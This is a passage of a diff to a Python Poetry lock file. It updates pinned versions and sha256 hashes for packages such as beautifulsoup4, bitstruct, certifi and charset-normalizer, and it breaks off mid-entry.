"bcrypt-4.3.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:bdc6a24e754a555d7316fa4774e64c6c3997d27ed2d1964d55920c7c227bc4ce"}, + {file = "bcrypt-4.3.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:55a935b8e9a1d2def0626c4269db3fcd26728cbff1e84f0341465c31c4ee56d8"}, + {file = "bcrypt-4.3.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:57967b7a28d855313a963aaea51bf6df89f833db4320da458e5b3c5ab6d4c938"}, + {file = "bcrypt-4.3.0.tar.gz", hash = "sha256:3a3fd2204178b6d2adcf09cb4f6426ffef54762577a7c9b54c159008cb288c18"}, ] [package.extras] @@ -242,14 +295,14 @@ typecheck = ["mypy"] [[package]] name = "beautifulsoup4" -version = "4.13.3" +version = "4.13.4" description = "Screen-scraping library" optional = false python-versions = ">=3.7.0" groups = ["main"] files = [ - {file = "beautifulsoup4-4.13.3-py3-none-any.whl", hash = "sha256:99045d7d3f08f91f0d656bc9b7efbae189426cd913d830294a15eefa0ea4df16"}, - {file = "beautifulsoup4-4.13.3.tar.gz", hash = "sha256:1bd32405dacc920b42b83ba01644747ed77456a65760e285fbc47633ceddaf8b"}, + {file = "beautifulsoup4-4.13.4-py3-none-any.whl", hash = "sha256:9bbbb14bfde9d79f38b8cd5f8c7c85f4b8f2523190ebed90e950a8dea4cb1c4b"}, + {file = "beautifulsoup4-4.13.4.tar.gz", hash = "sha256:dbb3c4e1ceae6aefebdaf2423247260cd062430a410e38c66f2baa50a8437195"}, ] [package.dependencies] @@ -265,61 +318,73 @@ lxml = ["lxml"] [[package]] name = "bitstruct" -version = "8.20.0" +version = "8.21.0" description = "This module performs conversions between Python values and C bit field structs represented as Python byte strings." optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "bitstruct-8.20.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7a33169c25eef4f923f8a396ef362098216f527e83e44c7e726c126c084944ab"}, - {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7fec9cff575cdd9dafba9083fa8446203f32c7112af7a6748f315f974dcd418"}, - {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:08835ebed9142babc39885fc0301f45fae9de7b1f3e78c1e3b4b5c2e20ff8d38"}, - {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2b1735a9ae5ff82304b9f416051e986e3bffa76bc416811d598ee3e8e9b1f26c"}, - {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9962bccebee15ec895fa8363ad4391e5314ef499b3e96af7d8ef6bf6e2f146ce"}, - {file = "bitstruct-8.20.0-cp310-cp310-win32.whl", hash = "sha256:5f3c88ae5d4e329cefecc66b18269dc27cd77f2537a8d506b31f8b874225a5cc"}, - {file = "bitstruct-8.20.0-cp310-cp310-win_amd64.whl", hash = "sha256:98640aeb709b67dcea79da7553668b96e9320ee7a11639c3fe422592727b1705"}, - {file = "bitstruct-8.20.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3be9192bff6accb6c2eb4edd355901fed1e64cc50de437015ee1469faab436a4"}, - {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9a2634563ed9c7229b0c6938a332b718e654f0494c2df87ee07f8074026ee68"}, - {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4cf892b3c95393772eea4ab2a0e4ea2d7ec45742557488727bd6bfdd1d1e5007"}, - {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:fc4a841126e2d89fd3ef579c2d8b02f8af31b5973b947afb91450ae8adf5caa4"}, - {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0fbf434f70f827318f2aaa68c6cf2fde58ab34a5ab1c6d9f0f4b9f953f058584"}, - {file = "bitstruct-8.20.0-cp311-cp311-win32.whl", hash = "sha256:0b0444a713f4f7e13927427e9ff5ed73bb4223c8074141adfc3e0bfbe63e092d"}, - {file = "bitstruct-8.20.0-cp311-cp311-win_amd64.whl", hash = "sha256:8271b3851657fe1066cb04ddc30e14a8492bdd18fa287514506af0801babd494"}, - {file = "bitstruct-8.20.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5df3ce5f4dd517be68e4b2d8ab37a564e12d5e24ec29039a3535281174a75284"}, - {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac0bb940fa9238c05796d45fb957ddf2e10d82ee8fd8cd43c5e367a9c380b24c"}, - {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73eb7f0b6031c7819c12412c71af07cfac036da22a9245b7a1669a1f11fe1220"}, - {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ea7b64a444bf592712593a9f3bf1cb37588fae257aeb40d2ea427e17ef3d690c"}, - {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4dad0231810bc3ef4e5154d6d6f7d62cc3efe2b9e9e6126002f105297284af3"}, - {file = "bitstruct-8.20.0-cp312-cp312-win32.whl", hash = "sha256:8ca1cc21ae72bbefee4471054e6a993b74f4571716eded73c3d3b6280dc831fd"}, - {file = "bitstruct-8.20.0-cp312-cp312-win_amd64.whl", hash = "sha256:b3732bed3c8b190dee071c2222304ef668f665fbdbeef19c9aeed50fbe1a3d48"}, - {file = "bitstruct-8.20.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b62fab3f38c09f5d61c83559cfc495b56de6dc424c3ccb1ff9f93457975b8c25"}, - {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4df55aea3bf5c1970174191f04f575d657515b2ff26582e7a6475937b4e8176"}, - {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f44afbce27ca0bd3fa96630c7a240bff167a7b66c05ac12ba9147ec001eee531"}, - {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c3d19f85935613a7db42f0e848e278d33ed2b18629dd5cc0e391d0ee8ddb54b"}, - {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d3f29bb701916a8bb885ccc0de77c6c4b3eaf81652916b3d0bcd7dd9ebdab799"}, - {file = "bitstruct-8.20.0-cp313-cp313-win32.whl", hash = "sha256:a09f81cdeec264349a6e65597329a1cee461218b870f8113848126c2c6729025"}, - {file = "bitstruct-8.20.0-cp313-cp313-win_amd64.whl", hash = "sha256:31e33cc7db403cd2441d4d1968c57334b2489ffe123cfc30d26eedf11063288e"}, - {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:462f27fed30322c24007641ec2f2413a4778f564b30b45e3265f689cd84d43d7"}, - {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c547a2cba2a94076dec3ef72229be641bbc320cb676a028db45202abb405b02"}, - {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:aff38098efc9c6cbba8cd3f2b37aa8bf6169e3a53be2ec21c1c3166bdeae22d0"}, - {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:31c64bf7ebda6d046fc3909287a6f7adcbbc1d1e50e463e3239798558f24bcfa"}, - {file = "bitstruct-8.20.0-cp37-cp37m-win32.whl", hash = "sha256:67e9b21a3a5ca247e31168a81da94a27763e7a34c80c847d9266209ec70294c2"}, - {file = "bitstruct-8.20.0-cp37-cp37m-win_amd64.whl", hash = "sha256:215acf2ecc2a65dcf4dec79d8e6ad98792d4ef4ae0b02aaf6b0dd678a6c11d02"}, - {file = "bitstruct-8.20.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9dcbccadba78c9b3170db967a8559500e3eca821cd9f101a76c087cf01e1cdbd"}, - {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6232fdf18689406369810a448181e9a2936f9d22707918394fc0cf5334c9fc1"}, - {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7fe8c959beb3b9471bedc3af01467cedede72f2cf65614aa69a6651684926c4e"}, - {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:2adcd545a8f8a90a2e84a21edc5763f3d3832ebddb7cc687b7650221cddfc19a"}, - {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b3a4f0e443a9b4171b648b52c3003064cf31113f6203e08dc4ac225601d9249b"}, - {file = "bitstruct-8.20.0-cp38-cp38-win32.whl", hash = "sha256:5618eaab857db6dafa26751af5b8c926541ce578f36608e50fa687127682af3c"}, - {file = "bitstruct-8.20.0-cp38-cp38-win_amd64.whl", hash = "sha256:3eb8de0ad891b716ed97430e8b8603b6d875c5ddc5ebcd9c5288099c773a6bc9"}, - {file = "bitstruct-8.20.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a063deb6b7b07906414ac460c807e483b6eea662abcb406c4ea6e2938c8fc21"}, - {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0528f8da4cf919a3d4801603c4e5fc601b72b86955d37c51c8d7ddc69f291f0c"}, - {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac783d0bc7c57bee2c8f8cda4c83d60236e7c046f6f454e76943f9e0fb16112"}, - {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:a0482f8e2b73df16d080d5d8df23e2949c114e27acfeb659f0465ef8ce1da038"}, - {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f6cc949e8030303b05728294b4feaca8c955150dd5042f66467da1dd18ff3410"}, - {file = "bitstruct-8.20.0-cp39-cp39-win32.whl", hash = "sha256:3e5195cfe68952587a2fcb621b2ee766e78f5d2d5a1e94204ac302e3d3f441bc"}, - {file = "bitstruct-8.20.0-cp39-cp39-win_amd64.whl", hash = "sha256:a7109b454a8cccc55e88165a903e5d9980e39f6f5268dc5ec5386ae96a89ff1b"}, - {file = "bitstruct-8.20.0.tar.gz", hash = "sha256:f6b16a93097313f2a6c146640c93e5f988a39c33364f8c20a4286ac1c5ed5dae"}, + {file = "bitstruct-8.21.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dcc4d9d09ed713af523dab5f1980229fc5280163d534589fcf9660c38be3a3aa"}, + {file = "bitstruct-8.21.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f3e2882e4c62c25a5e0f925715281197150dcf98a3a043e322872068e3aa2e63"}, + {file = "bitstruct-8.21.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:27e49eef9f47c3b570e4142dd39384a04bcbf8e37a6c9ac5acc6c1f26f2a0e83"}, + {file = "bitstruct-8.21.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:1f694e86c9e6a93bc087bb21292a02246afd314ebe093dd312f22ac8e6ae16dd"}, + {file = "bitstruct-8.21.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ce075da108d7f1365441d4c79ebf327fd51c7269ccc5df883684d35fee224d9"}, + {file = "bitstruct-8.21.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1bd9e07e8024ba76204fef264f6f63c8a5e409bb6b06b1b0e67d08cd02171f94"}, + {file = "bitstruct-8.21.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8b338be695a7209b56dcdb9f2f7a6da3f812c1ee25308f51051c831c63504806"}, + {file = "bitstruct-8.21.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:d6e12098f64d9f8c43ca49c39aea72e7ab9cae957f2562e0eef990bf29473c5c"}, + {file = "bitstruct-8.21.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:8ca9c13155c15a5d85682f49cb90cc3b62e84702f281226061055254b05d84fb"}, + {file = "bitstruct-8.21.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:771c7037718d9cb19cd60ccf9c6caa2e39fea1719ca1d499c25c7b8134ca1e33"}, + {file = "bitstruct-8.21.0-cp310-cp310-win32.whl", hash = "sha256:dfd02a001f1224cc94c04fcf6fd6ae07bb2c34a949ac968e0c4a477390e9d20e"}, + {file = "bitstruct-8.21.0-cp310-cp310-win_amd64.whl", hash = "sha256:50fc1700ceef3049a9c9d9963538e56a229354b4dd5701ebb04cf96452a9cf56"}, + {file = "bitstruct-8.21.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4ed2ebdceec1372330a4a9318a3c46983417015a160e46e27348fe7e53f8831a"}, + {file = "bitstruct-8.21.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3969761b8b37fc6f868180389e8587ed7e04b078d6a03c20a4f30c7024fa8389"}, + {file = "bitstruct-8.21.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f068e77c20d97bf21e693aa641e7d55c1473186f328476ba1a363f131194f42"}, + {file = "bitstruct-8.21.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c8c296b5358564ef956140bc0489510659e67e8e03703ef5533a7d3bdf3be1b0"}, + {file = "bitstruct-8.21.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:760cb4993e056f514465e5801f4f1e99fab39f30c18ef5663c66aa1dd8fec3be"}, + {file = "bitstruct-8.21.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b5c6d1b0aa8a842ddb97f5473d2e514f599417fc3cf73d4eaa117d9400f23293"}, + {file = "bitstruct-8.21.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:796347dae4e9162d31cdbe69e6225edb21bd3cccf476a7fbdc6dc7d506064bc2"}, + {file = "bitstruct-8.21.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:214bb06f69c6abaf2f8b707fe709ccf60d9c75a68736f0bf57354b7b8843cbae"}, + {file = "bitstruct-8.21.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:89a39783a8af94e3fdf42e69f99928c780abd40842715e5cbc49429de6f0c2a6"}, + {file = "bitstruct-8.21.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:8d249947093c3b6d6c9c2ee286d9398bf5a2231a1225a1f0efb7fa52eaa252bb"}, + {file = "bitstruct-8.21.0-cp311-cp311-win32.whl", hash = "sha256:e0bca81bb7e4cd76fbd3cf39e7b4a4bc53cbd12b996542e369ad67bb7a52ef8f"}, + {file = "bitstruct-8.21.0-cp311-cp311-win_amd64.whl", hash = "sha256:0be6dbc5fd0777877215edc516b84fabe9b94c37d46f8828c0c7b485e6ba6f88"}, + {file = "bitstruct-8.21.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c83ec458453ed9950ff3735b9ad5d6a19b33317729abc5aebdf11b2768b05634"}, + {file = "bitstruct-8.21.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:426364d4054009003da15e37f95bd683762398949b7c544215d2613f192bc1d7"}, + {file = "bitstruct-8.21.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e1b970bed311aa269ea765bc32444beabc38e27acf203bf027b9d87a5f175e2e"}, + {file = "bitstruct-8.21.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:64734ad9df02f366f6f60cc0dd20368f64e9e8d9fb739b19fc6acfd3c17e1c22"}, + {file = "bitstruct-8.21.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a8c18a9d6f5b5164ce18c2b764b0974f36809419f7084def7882b9ba411614bf"}, + {file = "bitstruct-8.21.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:08aef3b4652183315ce44cebb48c6a9bac4d6f3516757e072557e0eb7ed361a8"}, + {file = "bitstruct-8.21.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9d93b09fdc8aa503c2e8f3a68ee33e9bd3c4147de361ac3a92318f5465d4e234"}, + {file = "bitstruct-8.21.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:9cfe200b35e618517af8e3827cf7a9b508015f391d4a7bb02f71be71e3be4581"}, + {file = "bitstruct-8.21.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0e08bbb442d0cb36f993ff2756b68332b0d19eae4775f63c29ca29ccd95a7fc1"}, + {file = "bitstruct-8.21.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5e803bb72bf786295dadf8c38b82f5e5339abf4eae8929b042f79580e071b411"}, + {file = "bitstruct-8.21.0-cp312-cp312-win32.whl", hash = "sha256:ffd0aefc9fc5f31cf02afea2ae93a38fe8c4785102aca9b6a40d33f44df1419b"}, + {file = "bitstruct-8.21.0-cp312-cp312-win_amd64.whl", hash = "sha256:516bdd523f3955630fcf21bed40007e49384904248ce9b232339f1307320dcce"}, + {file = "bitstruct-8.21.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:55c114181188984cd214b432ea791c1c1d463d66b745e4d98451f214bc70a913"}, + {file = "bitstruct-8.21.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8eba4a6b62d5fb27a7256268e5ae72d5698aa05f6600bcf8ac8e4ed7dc0257fe"}, + {file = "bitstruct-8.21.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5661d549dbd7222dc8c8ca0642ba119663b8989cec84ca897a00f8f8eae05666"}, + {file = "bitstruct-8.21.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7f2c5b8a0fae90432312df763f4798ee0bf280a88f87e83b461aa0d62c2a40a6"}, + {file = "bitstruct-8.21.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b2325c5480474c6ecda1e61ffc5e0d2ce2b87c7125dd108ab6c2457fd36d30d"}, + {file = "bitstruct-8.21.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:19fd5a131a9f96e428ed9b96b770fbac6b18d6a90b40c8290af9a7ad1875c7b1"}, + {file = "bitstruct-8.21.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f413d7854081669dfdbd57ab444066ac81fa2277204eed4a03ed7bb750ecc7d5"}, + {file = "bitstruct-8.21.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:b88912f6942cc6a952a910bfb382b0883717e82a96d20e9bc80e20605373d5bb"}, + {file = "bitstruct-8.21.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:bf0ea3876f3c02999c0f32a200e8871b0e6822351be60d4524f8526cfc24018a"}, + {file = "bitstruct-8.21.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:efcd8ecbd52e97701ff4cdb68c6d6ec423fc6c90ad9d0d95c171c6630df645e5"}, + {file = "bitstruct-8.21.0-cp313-cp313-win32.whl", hash = "sha256:403bb9f4ed45decdb8d20143c59b780d953201cdf2e3567e5e608da807f1aa1f"}, + {file = "bitstruct-8.21.0-cp313-cp313-win_amd64.whl", hash = "sha256:91c34823a6bcff40a2b482b298c62e01cc2f5c11f32f6d3cf94ca9cfbf3ae75d"}, + {file = "bitstruct-8.21.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2100430ec231e883f901fa192075910217b72de30d150cf711f855179d05a72b"}, + {file = "bitstruct-8.21.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4dcb64d1d550480d4f1a70e0540ad69345d43c805c6e972af1da8f57a7caf342"}, + {file = "bitstruct-8.21.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:13d83a946afa26dbc5dbbc387490c05ba710bc678989a17057e7d7ede32af014"}, + {file = "bitstruct-8.21.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:495070c753a6d8dbf8d4849313d189bb68102dbf3594ce0fa9dd1b4fe02de148"}, + {file = "bitstruct-8.21.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:176f5523bf507b60d508a1757e2bad47104db2f2b3565b101270100a48a0f6cf"}, + {file = "bitstruct-8.21.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a70a9cc202704ee63b2de5b895bff013e97f693722cf1ccba7d0112a3f3e0f28"}, + {file = "bitstruct-8.21.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3a5db5f7760245b7a94c8f0d7beb70d122567b779a0f8ed1b0c8a7f6cedfe869"}, + {file = "bitstruct-8.21.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:53307ab06229953e35426d3c2f9889eb0f40d81e36a9dff446aac996f406db58"}, + {file = "bitstruct-8.21.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:d2035a5ddd776c76908e9d10c704ecfbfd8cd980c7356067b75cd710fca66ccf"}, + {file = "bitstruct-8.21.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:93116f94059693428a07fe48054201c62c2cd6a4369a1b2ac1a2144273dffdf1"}, + {file = "bitstruct-8.21.0-cp39-cp39-win32.whl", hash = "sha256:239f49c9e4749dc28bab5c2b54ba0b6be37b7bca2886d57cf68586a46fcba0a4"}, + {file = "bitstruct-8.21.0-cp39-cp39-win_amd64.whl", hash = "sha256:633654162cc9a107dd4777d0de30bbab4aab6777625a813e09cfef10c69c131c"}, + {file = "bitstruct-8.21.0.tar.gz", hash = "sha256:ff0be4968a45caf8688e075f55cca7a3fe9212b069ba67e5b27b0926a11948ac"}, ] [[package]] @@ -355,14 +420,14 @@ pycryptodome = "*" [[package]] name = "certifi" -version = "2025.1.31" +version = "2025.4.26" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "certifi-2025.1.31-py3-none-any.whl", hash = "sha256:ca78db4565a652026a4db2bcdf68f2fb589ea80d0be70e03929ed730746b84fe"}, - {file = "certifi-2025.1.31.tar.gz", hash = "sha256:3d5da6925056f6f18f119200434a4780a94263f10d1c21d032a6f6b2baa20651"}, + {file = "certifi-2025.4.26-py3-none-any.whl", hash = "sha256:30350364dfe371162649852c63336a15c70c6510c2ad5015b21c2345311805f3"}, + {file = "certifi-2025.4.26.tar.gz", hash = "sha256:0a816057ea3cdefcef70270d2c515e4506bbc954f417fa5ade2021213bb8f0c6"}, ] [[package]] @@ -447,116 +512,116 @@ pycparser = "*" [[package]] name = "charset-normalizer" -version = "3.4.1" +version = "3.4.2" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "charset_normalizer-3.4.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:91b36a978b5ae0ee86c394f5a54d6ef44db1de0815eb43de826d41d21e4af3de"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7461baadb4dc00fd9e0acbe254e3d7d2112e7f92ced2adc96e54ef6501c5f176"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e218488cd232553829be0664c2292d3af2eeeb94b32bea483cf79ac6a694e037"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:80ed5e856eb7f30115aaf94e4a08114ccc8813e6ed1b5efa74f9f82e8509858f"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b010a7a4fd316c3c484d482922d13044979e78d1861f0e0650423144c616a46a"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4532bff1b8421fd0a320463030c7520f56a79c9024a4e88f01c537316019005a"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:d973f03c0cb71c5ed99037b870f2be986c3c05e63622c017ea9816881d2dd247"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3a3bd0dcd373514dcec91c411ddb9632c0d7d92aed7093b8c3bbb6d69ca74408"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:d9c3cdf5390dcd29aa8056d13e8e99526cda0305acc038b96b30352aff5ff2bb"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:2bdfe3ac2e1bbe5b59a1a63721eb3b95fc9b6817ae4a46debbb4e11f6232428d"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:eab677309cdb30d047996b36d34caeda1dc91149e4fdca0b1a039b3f79d9a807"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-win32.whl", hash = "sha256:c0429126cf75e16c4f0ad00ee0eae4242dc652290f940152ca8c75c3a4b6ee8f"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-win_amd64.whl", hash = "sha256:9f0b8b1c6d84c8034a44893aba5e767bf9c7a211e313a9605d9c617d7083829f"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:8bfa33f4f2672964266e940dd22a195989ba31669bd84629f05fab3ef4e2d125"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28bf57629c75e810b6ae989f03c0828d64d6b26a5e205535585f96093e405ed1"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f08ff5e948271dc7e18a35641d2f11a4cd8dfd5634f55228b691e62b37125eb3"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:234ac59ea147c59ee4da87a0c0f098e9c8d169f4dc2a159ef720f1a61bbe27cd"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd4ec41f914fa74ad1b8304bbc634b3de73d2a0889bd32076342a573e0779e00"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eea6ee1db730b3483adf394ea72f808b6e18cf3cb6454b4d86e04fa8c4327a12"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c96836c97b1238e9c9e3fe90844c947d5afbf4f4c92762679acfe19927d81d77"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4d86f7aff21ee58f26dcf5ae81a9addbd914115cdebcbb2217e4f0ed8982e146"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:09b5e6733cbd160dcc09589227187e242a30a49ca5cefa5a7edd3f9d19ed53fd"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:5777ee0881f9499ed0f71cc82cf873d9a0ca8af166dfa0af8ec4e675b7df48e6"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:237bdbe6159cff53b4f24f397d43c6336c6b0b42affbe857970cefbb620911c8"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-win32.whl", hash = "sha256:8417cb1f36cc0bc7eaba8ccb0e04d55f0ee52df06df3ad55259b9a323555fc8b"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-win_amd64.whl", hash = 